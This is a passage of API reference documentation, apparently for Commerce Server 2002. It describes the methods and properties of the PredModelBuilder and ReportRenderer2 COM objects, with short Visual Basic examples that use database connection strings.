Stop | Stops a running build thread.
StopAllBuilds | Stops all currently running build threads.


IPredModelBuilder::Pause Method [C++]

PredModelBuilder.Pause Method [Visual Basic]

Use this method to suspend the model build thread.

Definition

[C++]
HRESULT IPredModelBuilder::Pause(
  long lBuildID
);
[Visual Basic]
Sub Pause(
  lBuildID As Long
)

Parameters

lBuildID [C++]
[in] A long that contains the build thread identifier.
lBuildID [Visual Basic]
[in] A Long that contains the build thread identifier.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The build thread identifier is returned by the Start method when a model build is initiated.

Use the Resume method to resume the paused build thread.

Use the Stop method to stop the execution of the build thread. A stopped thread may not be resumed. The thread must be restarted with the Start method.

Use the Status property to check the current status of a model build.

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Start

[C++] IPredModelBuilder::Resume

[C++] IPredModelBuilder::Stop

[C++] IPredModelBuilder::get_Status

[C++] IPredModelBuilder::get_Priority, put_Priority

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Resume

[Visual Basic] PredModelBuilder.Stop

[Visual Basic] PredModelBuilder.Status

[Visual Basic] PredModelBuilder.Priority


IPredModelBuilder::Resume Method [C++]

PredModelBuilder.Resume Method [Visual Basic]

Use this method to resume the execution of a build thread suspended by the Pause method.

Definition

[C++]
HRESULT IPredModelBuilder::Resume(
  long lBuildID
);
[Visual Basic]
Sub Resume(
  lBuildID As Long
)

Parameters

lBuildID [C++]
[in] A long that contains the identifier of the paused build thread.
lBuildID [Visual Basic]
[in] A Long that contains the identifier of the paused build thread.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The build thread identifier is returned by the Start method when a model build is initiated.

Use the Status property to determine if a build thread is running or paused.

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Start

[C++] IPredModelBuilder::Pause

[C++] IPredModelBuilder::Stop

[C++] IPredModelBuilder::get_Status

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Pause

[Visual Basic] PredModelBuilder.Stop

[Visual Basic] PredModelBuilder.Status


IPredModelBuilder::Start Method [C++]

PredModelBuilder.Start Method [Visual Basic]

Use this method to create a new model build thread.

Definition

[C++]
HRESULT IPredModelBuilder::Start(
  BSTR sDWConnStr,
  BSTR sSiteName,
  BSTR sConfigName,
  BSTR sModelName,
  BSTR sXMLBuildParams,
  VARIANT_BOOL bOverWrite,
  long* plBuildID
);
[Visual Basic]
Function Start(
  sDWConnStr As String,
  sSiteName As String,
  sConfigName As String,
  sModelName As String,
  sXMLBuildParams As String
  bOverWrite As Boolean
) As Long

Parameters

sDWConnStr [C++]
[in] A BSTR that contains the connection information for the data warehouse.
sDWConnStr [Visual Basic]
[in] A String that contains the connection information for the data warehouse.
sSiteName [C++]
[in] A BSTR that contains the site name.
sSiteName [Visual Basic]
[in] A String that contains the site name.
sConfigName [C++]
[in] A BSTR that contains the model configuration name.
sConfigName [Visual Basic]
[in] A String that contains the model configuration name.
sModelName [C++]
[in] A BSTR that contains the model name.
sModelName [Visual Basic]
[in] A String that contains the model name.
sXMLBuildParams [C++]
[in] A BSTR that contains the run-time build parameters for the model in XML format.
sXMLBuildParams [Visual Basic]
[in] A String that contains the run-time build parameters for the model in XML format.
bOverWrite [C++]
[in] A VARIANT_BOOL that indicates whether to overwrite the model if it already exists.
bOverWrite [Visual Basic]
[in] A Boolean that indicates whether to overwrite the model if it already exists.
plBuildID [C++]
[out, retval] A pointer to a long that contains the identifier for the new build thread.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the identifier for the new build thread.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this method.

E_FAIL

The overwrite flag is False, and the specified model already exists or the build thread failed.

Remarks

Note

  • The PredModelBuilder object is limited to one thread per server. If you attempt to start another thread the method will fail.

For information on the run-time build parameters contained in the sXMLBuildParams parameter, see PredictorModels Table. The sXMLBuildParams parameter must be passed in as the return value of the SaveXML method of the IPersistXML interface of a Dictionary object containing the build parameters. For an example of this technique, see Code to Build a New Model.

Connect to the data warehouse to access the model configuration.

Associating the site name with the PredModelBuilder object allows logging of performance monitoring counters to be aggregated over the site. See the PredictorClient object for more information.

Use the returned identifier for all subsequent access to the build thread.

If a model with the same name already exists and the overwrite parameter is False, the Start method fails.

The priority of a build thread may be set using the Priority property.

Use the Status property to check the status of a build thread.

Use the Stop method to stop a build thread that is currently running. A stopped thread may not be resumed. The thread must be restarted with the Start method.

Use the Pause method to temporarily suspend the execution of a build thread. Use the Resume method to resume execution of the suspended thread.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The plBuildID parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' lBuildID is a Long

lBuildID = oPredModelBuilder.Start _
("Provider=SQLOLEDB;Data Source=servername;" & _
 "Initial Catalog=Retail_dw;Integrated Security='SSPI';", _
 "Retail", "PurchaseCfg1", "Demog1", sXMLBuildParams, False)

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Pause

[C++] IPredModelBuilder::Resume

[C++] IPredModelBuilder::Stop

[C++] IPredModelBuilder::get_Status

[C++] IPredModelBuilder::get_Priority, put_Priority

[C++] PredictorClient Object

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Pause

[Visual Basic] PredModelBuilder.Resume

[Visual Basic] PredModelBuilder.Stop

[Visual Basic] PredModelBuilder.Status

[Visual Basic] PredModelBuilder.Priority

[Visual Basic] PredictorClient Object


IPredModelBuilder::Stop Method [C++]

PredModelBuilder.Stop Method [Visual Basic]

Use this method to stop execution of a specific model build thread.

Definition

[C++]
HRESULT IPredModelBuilder::Stop(
  long lBuildID
);
[Visual Basic]
Sub Stop(
  lBuildID As Long
)

Parameters

lBuildID [C++]
[in] A long that identifies the model build thread.
lBuildID [Visual Basic]
[in] A Long that identifies the model build thread.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this method.

E_FAIL

The build ID was invalid or the status of the build thread was neither running nor paused.

Remarks

The build thread identifier is returned by the Start method when a model build is initiated.

The Stop method sets a flag that signals the data modeler for the specified build thread to stop when it is ready. The data modeler checks the flag each time it updates progress information. If the flag is set, the data modeler ends thread execution and performs necessary clean-up operations.

Use the Status property to access the current status of a build thread. If the data modeler has not completed the thread termination, the build thread status is PredBldShuttingDown.

After the thread terminates, the build identifier no longer indicates a valid build thread. A stopped thread may not be resumed. The thread must be restarted with the Start method.

Use the StopAllBuilds method to halt execution of all build threads associated with the PredModelBuilder object.

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Start

[C++] IPredModelBuilder::get_Status

[C++] IPredModelBuilder::StopAllBuilds

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Status

[Visual Basic] PredModelBuilder.StopAllBuilds


IPredModelBuilder::StopAllBuilds Method [C++]

PredModelBuilder.StopAllBuilds Method [Visual Basic]

Use this method to stop execution of all model build threads associated with the PredModelBuilder object.

Definition

[C++]
HRESULT IPredModelBuilder::StopAllBuilds(
);
[Visual Basic]
Sub StopAllBuilds()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The StopAllBuilds method sets a flag that signals each build thread to stop when it is ready. If the flag is set for a build thread, the data modeler for that thread ends thread execution and performs necessary clean-up operations.

Use the Status property to access the current status of a build thread. If a data modeler has not completed thread termination, the thread status for the modeler is PredBldShuttingDown. After the thread terminates, the build identifier no longer indicates a valid build thread. A stopped thread may not be resumed. The thread must be restarted with the Start method.

Use the Stop method to stop a specific build thread.

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Start

[C++] IPredModelBuilder::get_Status

[C++] IPredModelBuilder::Stop

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Status

[Visual Basic] PredModelBuilder.Stop


IPredModelBuilder Properties [C++]

PredModelBuilder Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
dModelInfo | IDictionary | Retrieves information on the specified running model. This property is read-only.
Priority | enum | Stores the build thread priority. This property is read/write.
slRunningModels | ISimpleList | Retrieves a list of running models. This property is read-only.
Status | enum | Indicates the build thread status. This property is read-only.
[Visual Basic]
Property | Type | Description
dModelInfo | Object | Retrieves information on the specified running model. This property is read-only.
Priority | Enum | Stores the build thread priority. This property is read/write.
slRunningModels | Object | Retrieves a list of running models. This property is read-only.
Status | Enum | Indicates the build thread status. This property is read-only.


IPredModelBuilder::get_dModelInfo Property [C++]

PredModelBuilder.dModelInfo Property [Visual Basic]

The dModelInfo property is a read-only Dictionary object that contains information on the specified running model.

Definition

[C++]
HRESULT IPredModelBuilder::get_dModelInfo(
  long lBuildID,
  IDictionary** ppdictVal
);
[Visual Basic]
Property dModelInfo(
  lBuildID As Long
) As Object

Parameters

lBuildID [C++]
[in] A long that contains the build identifier used to select a specific build thread.
lBuildID [Visual Basic]
[in] A Long that contains the build identifier used to select a specific build thread.
ppdictVal [C++]
[out, retval] The address of a pointer to the IDictionary interface of a Dictionary object.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the following Error Values section for more details. The IErrorInfo interface provides more specific error information.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The keys of this dictionary are the build parameters of the running model. For information on the build parameters, see PredictorModels Table.

Initiate the build thread using the Start method before you access the thread using the dModelInfo property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppdictVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Start

[C++] IPredModelBuilder::Stop

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Stop


IPredModelBuilder::get_Priority, put_Priority Property [C++]

PredModelBuilder.Priority Property [Visual Basic]

The Priority property is a read/write ePredBuildPriority enumerated type. This property stores the priority of a build thread.

Definition

[C++]

Get method:

HRESULT IPredModelBuilder::get_Priority(
  long lBuildID,
  ePredBuildPriority* pePriority
);

Put method:

HRESULT IPredModelBuilder::put_Priority(
  long lBuildID,
  ePredBuildPriority pePriority
);
[Visual Basic]
Property Priority(
  lBuildID As Long
) As Enum

Parameters

lBuildID [C++]
[in] A long that contains the build identifier.
lBuildID [Visual Basic]
[in] A Long that contains the build identifier.
pePriority [C++]
[in] When putting the property, an ePredBuildPriority enumerated priority level.
[out, retval] When getting the property, a pointer to the ePredBuildPriority enumerated priority level for the build.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the following Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Change this property to raise or lower the priority of the build thread depending on how quickly the build is needed.

The following table defines the possible values for the ePredBuildPriority enumerated priority levels. Absolute thread priority is not supported. These priority values are relative to the spawning thread.

Name | Value | Description
PriLowest | -2 | Lowest priority.
PriBelowNormal | -1 | Lower priority.
PriNormal | 0 | Normal priority.
PriAboveNormal | 1 | Higher priority.
PriHighest | 2 | Highest priority.

Initiate the build thread with the Start method before you access the Priority property.

Use the Pause method to temporarily suspend execution of equal or higher priority threads when a particular build thread is time-critical. Threads are executed round robin for each priority level. Threads with lower priorities are not executed until all the threads with a higher priority have executed.

See the Microsoft Developer Network (MSDN) documentation for the system SetThreadPriority method for more information about thread scheduling.

The Priority method does not support the THREAD_PRIORITY_REALTIME priority.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pePriority parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder Start

[C++] IPredModelBuilder Pause

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Pause


IPredModelBuilder::get_slRunningModels Property [C++]

PredModelBuilder.slRunningModels Property [Visual Basic]

The slRunningModels property is a read-only SimpleList object that contains information on the active (running and paused) model build threads.

Definition

[C++]
HRESULT IPredModelBuilder::get_slRunningModels(
  ISimpleList** ppslVal
);
[Visual Basic]
Property slRunningModels() As Object

Parameters

ppslVal [C++]
[out, retval] The address of a pointer to the ISimpleList interface for the SimpleList object used to return the infomation on the active model build threads.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The SimpleList object, slRunningModels, contains a Dictionary object for each running model. The keys of the Dictionary object are the names of the model properties as listed in the PredictorModels Table except for the properties dependent on a successful finished build. The properties that are unavailable are: DateCreated, DataFitScore, RecommendScore, and BuildTime. After a successful build, these properties are available through the slModels property of the PredictorServiceAdmin object or the dModelInfo property of the PredictorServiceSiteAdmin object. The following table describes a few of the keys contained in the Dictionary object. For information about the remaining keys, see PredictorModels Table.

Key Name | Type | Description
DWResourceName | [C++] BSTR [Visual Basic] String | Name of the Data Warehouse resource where the model configuration is defined.
ModelCfgName | [C++] BSTR [Visual Basic] String | Name of the model configuration used to build the model.
BuildID | [C++] long [Visual Basic] Long | The ID of the build thread.
ModelName | [C++] BSTR [Visual Basic] String | Model name.

Use the Status property to check the status of a specific model build thread.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppslVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] IPredictorServiceAdmin::get_slModels

[C++] IPredictorServiceSiteAdmin::get_dModelInfo

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Start

[C++] IPredModelBuilder::Stop

[C++] IPredModelBuilder::StopAllBuilds

[C++] IPredModelBuilder::get_Status

[Visual Basic] PredictorServiceAdmin.slModels

[Visual Basic] PredictorServiceSiteAdmin.dModelInfo

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Stop

[Visual Basic] PredModelBuilder.StopAllBuilds

[Visual Basic] PredModelBuilder.Status


IPredModelBuilder::get_Status Property [C++]

PredModelBuilder.Status Property [Visual Basic]

The Status property is a read-only ePredBuildStatus enumerated type. This property indicates the current status of a model build thread.

Definition

[C++]
HRESULT IPredModelBuilder::get_Status(
  long lBuildID,
  ePredBuildStatus* peStatus
);
[Visual Basic]
Property Status(
  lBuildID As Long
) As Enum

Parameters

lBuildID [C++]
[in] A long that contains the build identifier used to select a specific build thread.
lBuildID [Visual Basic]
[in] A Long that contains the build identifier used to select a specific build thread.
peStatus [C++]
[out, retval] A pointer to an ePredBuildStatus enumerated type that indicates the status of the specified thread.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details. The IErrorInfo interface provides more specific error information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table defines the possible values for the ePredBuildStatus enumerated build states.

Name | Value | Description
PredBldRunning | 0 | Is currently running.
PredBldPaused | 1 | Is paused.
PredBldShuttingDown | 2 | Is shutting down in response to the Stop method.

BuildIDs become invalid when a build is finished, either successfully or due to failure. For status information on finished builds, or to monitor the build process, view the event log.

Initiate the build thread using the Start method before you access the thread using the Status property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The peStatus parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredModelBuilder Object

[C++] IPredModelBuilder::Start

[C++] IPredModelBuilder::Stop

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredModelBuilder.Start

[Visual Basic] PredModelBuilder.Stop


ReportRenderer2 Object [C++]

ReportRenderer2 Object [Visual Basic]

Use this object to render (display) or export a static report synchronously.

ProgID: | Commerce.ReportRenderer (Externally creatable)
COM Class Name: | ReportRenderer2
Type Library Name: | Microsoft Commerce 2002 Report Renderer Type Library
DLL Name: | ReportRenderer2.dll
Threading Model: | Both
[C++]
COM Interface Name: | _ReportRenderer2
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _ReportRenderer interface to access the methods of the ReportRenderer object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Runs a grouped report, which creates a set of reports sliced on the specified dimensions.
[Visual Basic]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Runs a grouped report, which creates a set of reports sliced on the specified dimensions.

Properties

[C++]
Property | Value | Description
BizdeskDocPath | BSTR | Specifies the URL for the default ASP page in the directory that contains the report help files.
ReportDirectory | BSTR | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | Long | Describes the locale used for rendering dates in the report header.
[Visual Basic]
Property | Value | Description
BizdeskDocPath | String | Specifies the URL for the default ASP page in the directory that contains the report help files.
ReportDirectory | String | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | Long | Describes the locale used for rendering dates in the report header.

Remarks

The ReportRender object must be passed the ReportStatusID parameter of the report to be rendered in its initialization string. This parameter is set when the report is run.

See Also

Analysis/Reporting Schema

Analysis/Reporting XML Structures

Creating Custom Reports

[C++] AsyncRpt Object

[C++] ListManager Object

[Visual Basic] AsyncRpt Object

[Visual Basic] ListManager Object

Running Reports


_ReportRenderer2 Methods [C++]

ReportRenderer2 Methods [Visual Basic]

Methods

[C++]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Executes a set of grouped reports. Also creates a set of reports sliced on the specified dimensions.
[Visual Basic]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Executes a set of grouped reports. Also creates a set of reports sliced on the specified dimensions.


_ReportRenderer2::Init Method [C++]

ReportRenderer.Init Method [Visual Basic]

Use this method to initialize the ReportRenderer object and to render or export a static report synchronously.

Definition

[C++]
HRESULT IreportRenderer2::Init(
  BSTR* sParamString,
  VARIANT_BOOL* pvResult
);
[Visual Basic]
Function Init(
  sParamString As String
) As Boolean

Parameters

sParamString [C++]
[in, out] A pointer to a BSTR used to supply parameters to the ReportRenderer object.
sParamString [Visual Basic]
A String used to supply parameters to the ReportRenderer object.
pvResult [C++]
[out, retval] A pointer to a VARIANT_BOOL used to indicate whether the operation was successful. True (1) indicates success.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean that indicates whether the initialization was successful. True (1) indicates success.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The sParamString parameter consists of a string containing six parameters delineated by the '|' symbol. The string is of the form:

   "ReportStatusID|Data warehouse connection string|
    OLAP connection string|Destination connection string|
    Destination table name|Report execution time"

The possible parameters consist of the following:

  • ReportStatusID - used to identify the report to be displayed or exported. This parameter is stored in the ReportStatus table which is created when a report is run or exported.
  • Data warehouse connection string - where the underlying data is stored. A valid connection string is of the type "Provider=SQLOLEDB;Data Source=Server Name;Initial Catalog=Database Name;Integrated Security=’SSPI’".
  • OLAP connection string - where the underlying OLAP data is stored. A valid connection string is of the type "Provider=msolap;DATA SOURCE=Server Name;INITIAL CATALOG=Database Name;". You will use the OLAP connection string only with reports that are based on OLAP.
  • Destination connection string - where the table that will contain the exported report data is located. A valid connection string is of the type "Provider=SQLOLEDB;Data Source=Server Name;Initial Catalog=Database Name; Integrated Security=’SSPI’".
  • Destination table name - the table that will contain the exported report data.
  • Report execution time - the time when the report was executed. If not supplied, this defaults to the current time in the format of the client computer.

The actual parameters used depend on the type of report (SQL or MDX) and whether the report is being displayed or exported. The ReportStatusID and the Data warehouse connection string parameters are required in all cases. The remaining parameters are required, as shown in the following table. Parameters not used are left blank.

Action- Report Type | Report StatusID | Data Warehouse connection string | OLAP connection string | Destination connection string | Destination table name | Report execution time
Display-SQL | X | X |  |  |  | X
Display-MDX | X | X | X |  |  | X
Export-SQL | X | X |  | X | X |
Export-MDX | X | X | X | X | X |

The ReportRenderer object constrains displayed reports with the following limitations:

  • Maximum of 1000 rows.
  • Maximum of 50 columns.
  • Maximum of 5 dimension levels for each row or column dimension.

The number of rows and columns is determined by the report query, report parameters, and report definitions. The number of dimensions is set in the ReportDimension table (for SQL queries) when the report is created. Trying to display a report outside these limitations results in the report being truncated at the above limits. There are no limits when exporting a report. For information on the report tables, see Analysis/Reporting Schema.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oReportRenderer is a Commerce ReportRenderer object

' Display a static SQL report

   oReportRenderer.Init("7|DRIVER={SQL Server};" _
    & "SERVER=MyServer;DATABASE=Retail_dw; Integrated Security=’SSPI’" _
    & "||||10/01/2000 3:45:56 pm" )

' Export a static SQL report

   oReportRenderer.Init("7|DRIVER={SQL Server};SERVER=MyServer;" _
    & "DATABASE=Retail_dw;UID=sysadmin;PWD=123;||Provider=SQLOLEDB;" _
    & "Persist Security Info=False; Integrated Security=’SSPI’;" _
    & "Initial Catalog=Retail_commerce;Data Source=MyServer;|" _
    & "OutPutTableName|10/01/2000 3:45:56 pm")

' Display a static MDX report

   oReportRenderer.Init("19|DRIVER={SQL Server};SERVER=MyServer;" _
    & "DATABASE=Retail_dw; Integrated Security=’SSPI’" _
    & ";|data source=MyServer;" _
    & "Initial Catalog=Retail_dw;|||10/01/2000 3:45:56 pm")

' Export a static MDX report

   oReportRenderer.Init("19|DRIVER={SQL Server};SERVER=MyServer;" _
    & "DATABASE=Retail_dw; Integrated Security=’SSPI’"
    & ";|data source=MyServer;" _
    & Initial Catalog=Retail_dw;|Provider=SQLOLEDB;" _
    & "Persist Security Info=False; Integrated Security=’SSPI’;" _
    & "Initial Catalog=Retail_commerce;Data Source=MyServer;|" _
    & "OutPutTableName|10/01/2000 3:45:56 pm")

See Also

[C++] ReportRenderer Object

[C++] Analysis/Reporting Schema

[C++] Creating Custom Reports

[Visual Basic] ReportRenderer Object

[Visual Basic] Analysis/Reporting Schema

[Visual Basic] Creating Custom Reports


_ReportRenderer2::ExecGroupedReport Method [C++]

ReportRenderer2.ExecGroupedReport Method [Visual Basic]

Use this method to execute a set of grouped reports. ExecGroupedReport also creates a set of reports sliced on the specified dimensions.

Definition

[C++]
HRESULT ReportRenderer2::ExecGroupedReport(
  BSTR* sParamString,
  VARIANT_BOOL* pvResult
);
[Visual Basic]
Function ExecGroupedReport(
  sParamString As string
) As Boolean

Parameters

sParamString [C++]
[in/out] Pointer to a BSTR containing parameters for the ReportRenderer object.
SParamString [Visual Basic]
String containing parameters for the ReportRenderer object.
PvResult [C++]
[out, retval] A pointer to a VARIANT_BOOL used to indicate whether the operation was successful. True (1) indicates success.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean that indicates whether the initialization was successful. True (1) indicates success.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


_ReportRenderer2 Properties [C++]

ReportRenderer2 Properties [Visual Basic]

Properties

[C++]
Property | Value | Description
BizdeskDocPath | BSTR | Contains the URL describing the default ASP page in the directory that contains the report help files.
ReportDirectory | BSTR | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | String | Describes the locale used for rendering dates in the report header.
[Visual Basic]
Property | Value | Description
BizdeskDocPath | String | Contains the URL describing the default ASP page in the directory that contains the report help files.
ReportDirectory | String | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | String | Describes the locale used for rendering dates in the report header.


ReportRenderer2::get_BizDeskDocPath, put_BizDeskDocPath Property [C++]

ReportRenderer2.BizDeskDocPath Property [Visual Basic]

This property contains the URL describing the default ASP page in the directory that contains the report help files.

Definition

[C++]

Get method:

HRESULT ReportRenderer2::get_BizDeskDocPath(
 BSTR* sBizDeskDocPath
);

Put method:

HRESULT ReportRenderer2::put_BizDeskDocPath(
 BSTR* sBizDeskDocPath
);

Putref method:

HRESULT ReportRenderer2::putref_BizDeskDocPath(
 BSTR* sBizDeskDocPath
);
[Visual Basic]
Property BizDeskDocPath As String

Parameters

[C++]
sBizDeskDocPath
[in, optional] Pointer to a string containing the URL for the new default ASP page.

[out] Pointer to a string containing the URL for the current default ASP page.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

